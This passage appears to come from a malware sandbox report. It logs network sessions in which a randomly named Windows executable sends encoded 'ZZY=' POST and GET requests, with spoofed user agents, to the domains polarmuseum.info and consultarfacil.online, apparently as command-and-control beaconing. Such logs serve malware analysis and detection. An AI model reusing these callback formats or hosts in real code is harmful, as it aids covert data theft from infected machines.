6c 51 38 69 73 66 47 68 6a 63 7a 2f 68 51 48 4c 2b 2f 35 6e 38 70 45 4a 5a 4c 33 31 42 65 6d 78 30 4a 38 38 6f 37 36 42 54 38 53 72 4f 30 4d 47 33 4f 48 46 6a 53 6e 63 35 64 6c 46 44 42 6f 6e 53 4d 53 59 62 43 32 63 61 6c 74 77 30 5a 4a 6a 4e 72 6f 33 6e 4a 72 32 4b 56 55 30 45 57 41 6d 46 4a 65 66 54 71 61 37 34 39 6d 6f 2f 5a 4f 5a 77 35 38 37 31 52 4f 57 6c 5a 4e 76 56 2b 5a 57 38 56 50 39 68 54 62 66 39 2b 71 30 46 6a 49 30 6e 79 75 46 69 6a 55 69 66 55 42 66 55 48 34 3d Data Ascii: ZZY=x4+1CY6oM30UWTOiz39xBXtNeyAeGvalMX0h2w5jkFpZmYwp5oNOgXvefbITe49EH7auS8C3lQ8isfGhjcz/hQHL+/5n8pEJZL31Bemx0J88o76BT8SrO0MG3OHFjSnc5dlFDBonSMSYbC2caltw0ZJjNro3nJr2KVU0EWAmFJefTqa749mo/ZOZw5871ROWlZNvV+ZW8VP9hTbf9+q0FjI0nyuFijUifUBfUH4=
Oct 9, 2024 14:08:07.116070986 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:08:06 GMT content-type: text/html; charset=utf-8 content-length: 1130 x-request-id: 4de63ab0-f2a8-44a1-b860-9d61f0fbd9ea cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tq8xQMAQYvNPuQMiwP0UQ1XJeFafJuZyB/+hm7Wp5AtZezX+6pwzPoy0wQqcChM9ogdaLCHbtxKVuAjbtGAGGA== set-cookie: parking_session=4de63ab0-f2a8-44a1-b860-9d61f0fbd9ea; expires=Wed, 09 Oct 2024 12:23:07 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 74 71 38 78 51 4d 41 51 59 76 4e 50 75 51 4d 69 77 50 30 55 51 31 58 4a 65 46 61 66 4a 75 5a 79 42 2f 2b 68 6d 37 57 70 35 41 74 5a 65 7a 58 2b 36 70 77 7a 50 6f 79 30 77 51 71 63 43 68 4d 39 6f 67 64 61 4c 43 48 62 74 78 4b 56 75 41 6a 62 74 47 41 47 47 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tq8xQMAQYvNPuQMiwP0UQ1XJeFafJuZyB/+hm7Wp5AtZezX+6pwzPoy0wQqcChM9ogdaLCHbtxKVuAjbtGAGGA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:08:07.116379023 CEST	583	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNGRlNjNhYjAtZjJhOC00NGExLWI4NjAtOWQ2MWYwZmJkOWVhIiwicGFnZV90aW1lIjoxNzI4NDc1Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	50003	199.59.243.227	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:09.274578094 CEST	1719	OUT	POST /reui/ HTTP/1.1 Host: www.polarmuseum.info Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.polarmuseum.info Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.polarmuseum.info/reui/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 78 34 2b 31 43 59 36 6f 4d 33 30 55 57 54 4f 69 7a 33 39 78 42 58 74 4e 65 79 41 65 47 76 61 6c 4d 58 30 68 32 77 35 6a 6b 46 68 5a 6e 76 77 70 34 4c 31 4f 68 58 76 65 58 37 49 57 65 34 39 64 48 37 43 71 53 39 2b 6e 6c 57 67 69 74 38 4f 68 6c 70 66 2f 6f 51 48 4c 78 66 35 6d 68 5a 46 54 5a 49 66 35 42 65 32 78 30 4a 38 38 6f 38 4b 42 52 6f 4f 72 49 30 4d 4a 6e 75 47 58 79 69 6d 37 35 64 39 56 44 42 38 33 53 59 65 59 43 69 6d 63 4a 32 46 77 33 35 4a 62 5a 4c 6f 76 6e 4a 33 6c 4b 56 59 34 45 58 31 37 46 4f 71 66 54 4d 44 5a 74 64 79 50 6c 49 36 69 32 34 73 37 39 52 48 2b 69 76 59 57 62 50 4e 43 38 57 37 48 6d 43 47 51 38 49 6a 4c 66 42 59 47 6f 43 53 48 68 7a 6c 33 50 6e 64 34 43 77 32 6a 6c 32 42 6c 77 34 6d 31 69 36 73 45 55 68 65 76 6d 50 62 51 52 33 59 6d 72 52 51 2b 72 6f 4e 78 4e 34 70 46 78 76 4c 54 47 45 4c 4d 45 63 6c 6d 33 52 55 68 52 7a 77 37 42 52 38 50 39 41 71 66 6e 6c 35 37 45 6f 52 53 44 2f 57 33 78 36 6d 74 4c 37 2f 53 38 6f 34 55 69 7a 54 37 2f 48 30 63 6f 32 69 2b 2b 63 [TRUNCATED] Data Ascii: ZZY=x4+1CY6oM30UWTOiz39xBXtNeyAeGvalMX0h2w5jkFhZnvwp4L1OhXveX7IWe49dH7CqS9+nlWgit8Ohlpf/oQHLxf5mhZFTZIf5Be2x0J88o8KBRoOrI0MJnuGXyim75d9VDB83SYeYCimcJ2Fw35JbZLovnJ3lKVY4EX17FOqfTMDZtdyPlI6i24s79RH+ivYWbPNC8W7HmCGQ8IjLfBYGoCSHhzl3Pnd4Cw2jl2Blw4m1i6sEUhevmPbQR3YmrRQ+roNxN4pFxvLTGELMEclm3RUhRzw7BR8P9Aqfnl57EoRSD/W3x6mtL7/S8o4UizT7/H0co2i++cc+yVQoKvwHeTUv/saUPwPWYndtCe+yGkTCDBJUTOQfKMQt65ltmQpoIbHy+PJ+jpVoNKNluhFV40rabBkZ45Vl3lBW3dTEyJrqYc33IgK5XL/ZUGC97WSJsqlocmB1yZ7xC+p5CyOI+x30cPuUz1t3bXEgcyq09V3Xryzb4xiI+GG/VPyXD1j9nADQujNJm4F9G9cf6S9j2U31V4TYcSF4mr7e8km4CxpNiXk5LH/ET0u5Ciy02sDTTVFY4URLgqJvlxlgwxhiMfYbRmckX60n7MyrZe3wrie2tIn3UZmME9dpyLvV6HDWQ3mWk0hKqeZLox3Eq9Gh18m2RHO6b502vSbCfas622/uXvUQFuhxy7FYgNr+MVwS1NCxnDqsxIaTs277X17fbXRGIxnuMAp049cwIsK8S9ZbLJNBbPbZge8/8jl9R6sW1LiGnlUUkHO5EKhpKLWkJbT+C4NF0+UdtLlYDA/bL4ld+JJy38YRwrTSFxQ9G8iCYnhOEtdjLjRuzzWDbjjobE4GwVKCJILUeqI2TLKjzx4+jaZohxC7KpGoXc2g+TF6URM9EWniXZjMLwLRIMdZiahsPtDJVWya5zAsjPQIfSW6AsycxCqod+qig1mPK3VE5iAbU42PcgNr7v4IjXrTTIA7l7fM3UTgI0WmYHWmWuTp [TRUNCATED]
Oct 9, 2024 14:08:09.719027042 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:08:09 GMT content-type: text/html; charset=utf-8 content-length: 1130 x-request-id: 2ab7caa6-a568-4486-828d-33fcfaf678b8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tq8xQMAQYvNPuQMiwP0UQ1XJeFafJuZyB/+hm7Wp5AtZezX+6pwzPoy0wQqcChM9ogdaLCHbtxKVuAjbtGAGGA== set-cookie: parking_session=2ab7caa6-a568-4486-828d-33fcfaf678b8; expires=Wed, 09 Oct 2024 12:23:09 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 74 71 38 78 51 4d 41 51 59 76 4e 50 75 51 4d 69 77 50 30 55 51 31 58 4a 65 46 61 66 4a 75 5a 79 42 2f 2b 68 6d 37 57 70 35 41 74 5a 65 7a 58 2b 36 70 77 7a 50 6f 79 30 77 51 71 63 43 68 4d 39 6f 67 64 61 4c 43 48 62 74 78 4b 56 75 41 6a 62 74 47 41 47 47 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tq8xQMAQYvNPuQMiwP0UQ1XJeFafJuZyB/+hm7Wp5AtZezX+6pwzPoy0wQqcChM9ogdaLCHbtxKVuAjbtGAGGA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:08:09.719434977 CEST	583	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMmFiN2NhYTYtYTU2OC00NDg2LTgyOGQtMzNmY2ZhZjY3OGI4IiwicGFnZV90aW1lIjoxNzI4NDc1Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50004	199.59.243.227	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:12.033199072 CEST	419	OUT	GET /reui/?ZZY=86WVBsaKd0g/fiy38lBVTFNtYioQJ/XID2I2jzZkjXxxzqQXnIBLpzjUTcMxZ+VjRI6hFe2KzQRCqdeRoprBsBuO38R4j7pNa7/TdtnWnso/3MHserSUB0MZw7CHuHvixsEQagEWFuT7&mHm0o=rrqhoH HTTP/1.1 Host: www.polarmuseum.info Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:08:12.357306957 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:08:11 GMT content-type: text/html; charset=utf-8 content-length: 1514 x-request-id: 39f0cbbf-08c9-46d8-a2f1-688a231d2ecd cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FOar148Y6dpljb5P/EMKRREMP8DjK9fpa+ABxyw7TbDwG9c3Uy6b3qMzKcWvU0ORd8v1SDWTIMxBFGAb43Nnhg== set-cookie: parking_session=39f0cbbf-08c9-46d8-a2f1-688a231d2ecd; expires=Wed, 09 Oct 2024 12:23:12 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 46 4f 61 72 31 34 38 59 36 64 70 6c 6a 62 35 50 2f 45 4d 4b 52 52 45 4d 50 38 44 6a 4b 39 66 70 61 2b 41 42 78 79 77 37 54 62 44 77 47 39 63 33 55 79 36 62 33 71 4d 7a 4b 63 57 76 55 30 4f 52 64 38 76 31 53 44 57 54 49 4d 78 42 46 47 41 62 34 33 4e 6e 68 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FOar148Y6dpljb5P/EMKRREMP8DjK9fpa+ABxyw7TbDwG9c3Uy6b3qMzKcWvU0ORd8v1SDWTIMxBFGAb43Nnhg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:08:12.357325077 CEST	967	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzlmMGNiYmYtMDhjOS00NmQ4LWEyZjEtNjg4YTIzMWQyZWNkIiwicGFnZV90aW1lIjoxNzI4NDc1Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50005	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:25.758914948 CEST	701	OUT	POST /fvi9/ HTTP/1.1 Host: www.consultarfacil.online Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.consultarfacil.online Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.consultarfacil.online/fvi9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 78 31 78 42 6a 72 41 48 39 63 6e 4a 2f 65 4b 66 79 37 68 37 59 74 36 57 66 76 31 7a 5a 38 75 31 6f 6d 74 38 56 65 50 39 72 79 68 2f 41 37 58 45 37 4c 78 63 53 57 64 2f 37 6a 6d 6b 75 41 67 53 72 48 6b 70 4a 4d 57 48 35 4a 4d 73 4c 64 56 34 63 65 72 50 74 56 4c 6d 7a 36 57 4d 58 77 32 6a 4c 63 6f 54 64 49 4e 69 7a 38 6c 32 70 45 31 38 77 7a 45 78 39 43 4a 6b 47 6f 6e 70 6b 35 37 45 71 2f 54 42 54 59 42 6a 42 77 57 73 42 45 52 52 39 77 61 6d 59 54 46 52 52 66 70 4c 4b 45 36 7a 4a 4d 78 47 6b 62 36 39 42 6b 6e 43 36 51 52 42 46 35 37 76 33 38 72 6c 30 78 4a 68 79 52 48 37 69 4e 6d 4e 45 4b 70 44 62 69 2f 79 38 38 51 78 42 67 3d 3d Data Ascii: ZZY=x1xBjrAH9cnJ/eKfy7h7Yt6Wfv1zZ8u1omt8VeP9ryh/A7XE7LxcSWd/7jmkuAgSrHkpJMWH5JMsLdV4cerPtVLmz6WMXw2jLcoTdINiz8l2pE18wzEx9CJkGonpk57Eq/TBTYBjBwWsBERR9wamYTFRRfpLKE6zJMxGkb69BknC6QRBF57v38rl0xJhyRH7iNmNEKpDbi/y88QxBg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50006	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:28.310481071 CEST	721	OUT	POST /fvi9/ HTTP/1.1 Host: www.consultarfacil.online Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.consultarfacil.online Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.consultarfacil.online/fvi9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 78 31 78 42 6a 72 41 48 39 63 6e 4a 35 4f 36 66 30 5a 4a 37 65 4e 36 52 61 76 31 7a 58 63 76 79 6f 6d 70 38 56 66 4c 74 72 67 56 2f 48 62 48 45 36 4b 78 63 65 32 64 2f 38 54 6d 34 7a 51 67 5a 72 48 6f 68 4a 49 53 48 35 4a 49 73 4c 66 64 34 66 74 44 49 73 46 4c 6b 6d 71 57 4b 5a 51 32 6a 4c 63 6f 54 64 4d 68 45 7a 38 74 32 6f 30 46 38 2f 32 6f 79 78 69 4a 6a 44 59 6e 70 79 35 37 41 71 2f 54 6f 54 61 30 4f 42 31 61 73 42 46 68 52 35 31 32 68 50 44 45 55 63 2f 6f 58 4b 6e 57 32 47 4a 4d 30 72 34 79 6a 4a 55 50 6d 32 47 4d 6a 66 62 33 44 70 74 54 65 77 7a 74 58 6c 33 61 4f 67 4d 69 56 4a 6f 64 69 45 56 61 59 78 75 78 31 58 53 50 33 33 46 33 47 78 54 61 72 6e 53 73 65 78 6e 72 55 36 6e 51 3d Data Ascii: ZZY=x1xBjrAH9cnJ5O6f0ZJ7eN6Rav1zXcvyomp8VfLtrgV/HbHE6Kxce2d/8Tm4zQgZrHohJISH5JIsLfd4ftDIsFLkmqWKZQ2jLcoTdMhEz8t2o0F8/2oyxiJjDYnpy57Aq/ToTa0OB1asBFhR512hPDEUc/oXKnW2GJM0r4yjJUPm2GMjfb3DptTewztXl3aOgMiVJodiEVaYxux1XSP33F3GxTarnSsexnrU6nQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50007	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:30.859110117 CEST	1734	OUT	POST /fvi9/ HTTP/1.1 Host: www.consultarfacil.online Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.consultarfacil.online Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.consultarfacil.online/fvi9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 78 31 78 42 6a 72 41 48 39 63 6e 4a 35 4f 36 66 30 5a 4a 37 65 4e 36 52 61 76 31 7a 58 63 76 79 6f 6d 70 38 56 66 4c 74 72 67 4e 2f 41 74 4c 45 37 70 5a 63 66 32 64 2f 7a 44 6d 6f 7a 51 67 49 72 45 59 6c 4a 49 65 49 35 4d 55 73 4c 39 6c 34 49 73 44 49 69 31 4c 6b 6b 71 57 4c 58 77 33 2b 4c 63 34 50 64 49 42 45 7a 38 74 32 6f 33 4e 38 37 6a 45 79 7a 69 4a 6b 47 6f 6e 31 6b 35 37 6f 71 2f 4c 53 54 5a 5a 7a 42 47 53 73 41 6c 78 52 2f 58 75 68 51 7a 45 57 66 2f 6f 66 4b 6e 62 6d 47 4e 6c 4e 72 37 75 64 4a 58 76 6d 79 58 78 50 61 72 72 49 30 4d 66 45 37 6c 31 6d 72 33 53 65 69 4f 65 4b 4c 2f 4a 65 48 32 75 57 32 59 35 68 64 32 4b 4d 75 6c 2f 54 2f 67 4f 73 33 46 63 61 6c 33 72 55 68 51 36 4a 37 6a 4c 69 6c 64 73 51 61 53 55 59 32 59 53 4c 4c 79 78 50 31 38 76 52 37 72 65 66 6c 2f 4d 77 6d 71 43 49 52 47 66 64 63 74 5a 79 77 69 4b 55 39 49 38 67 47 44 7a 49 75 77 34 4a 54 34 38 52 58 6f 50 76 77 53 42 43 67 2f 4f 57 43 77 7a 53 70 49 63 59 5a 48 63 4e 44 51 44 57 65 4a 47 78 70 4c 4e 30 75 4e [TRUNCATED] Data Ascii: ZZY=x1xBjrAH9cnJ5O6f0ZJ7eN6Rav1zXcvyomp8VfLtrgN/AtLE7pZcf2d/zDmozQgIrEYlJIeI5MUsL9l4IsDIi1LkkqWLXw3+Lc4PdIBEz8t2o3N87jEyziJkGon1k57oq/LSTZZzBGSsAlxR/XuhQzEWf/ofKnbmGNlNr7udJXvmyXxParrI0MfE7l1mr3SeiOeKL/JeH2uW2Y5hd2KMul/T/gOs3Fcal3rUhQ6J7jLildsQaSUY2YSLLyxP18vR7refl/MwmqCIRGfdctZywiKU9I8gGDzIuw4JT48RXoPvwSBCg/OWCwzSpIcYZHcNDQDWeJGxpLN0uNrsAxfz9418KLfZzCigw2WRK92SEdB7kr4+tfxSV1uYY1KdZHdg2RP7lCOj+iKD/4fOgFmLGisjOL5NyM17Kj6kHgKc/G5b9QWwyuO3SwUQxzjyy/5krFE3TD1ifwbSgLHkJWxxBoxx4Uo92jdeURUn5G+p0H+D/VhvimJR2Y19ALQIMWX5xD7+vnlVGYfl0dzV506tZkmPw+UQ4f7wW3HJUNEsjdeCbYbel5r02rDbbRl2rQ7901n/jdKIqesv3EJt691A/H7n2VBcpAu43TBmAx1TdOT2ZyKHGX+0f8o7X0BvAfobKrIvbiuYPiriotJEs9q8k+Ej+NyMBFltmpnVY23lVeOnKNOl1rDeqrSPdvXGkKQQn2bZHMySGyPAcl6QYBYlkXUyL6KDle5JT4grsorHA0kqekdDKDYeW8dDvLHLUrsrPs5jRzsDUla8LqklPEARCD04V1M4WGf66oJCtw5pBMEY39gNxt6V0UNT65WnnlKoxDyXGN7P2CLLsfv0OmgnspobxgKkCD0SYL2+VBE/HPpaxx9x4Y2CyWLG1gLDjTRaUtXHX3/aumGEcGjAYQ3SlNYAVjJNKNisM+lbGt2d66KIo638OquvJh3LYtJY/fYJ9K8lK1UI7Xfvu0RORAmCmLD0R9elwEb/67nDlxk9dotUfU4S [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50008	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:33.405251980 CEST	424	OUT	GET /fvi9/?ZZY=83Zhgfg6tu/foMGa1rd4G8mvZ8J0ctT1sQtAA8307wl6fpXmtYNgS0h47hPctXYzi3krAK+TuMk8NNNUc7/zlizFi4+uLzj6JeI9HOwnvOMl9isW4EM/0itfBtO8+qbotuSJUZ1vI2TR&mHm0o=rrqhoH HTTP/1.1 Host: www.consultarfacil.online Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
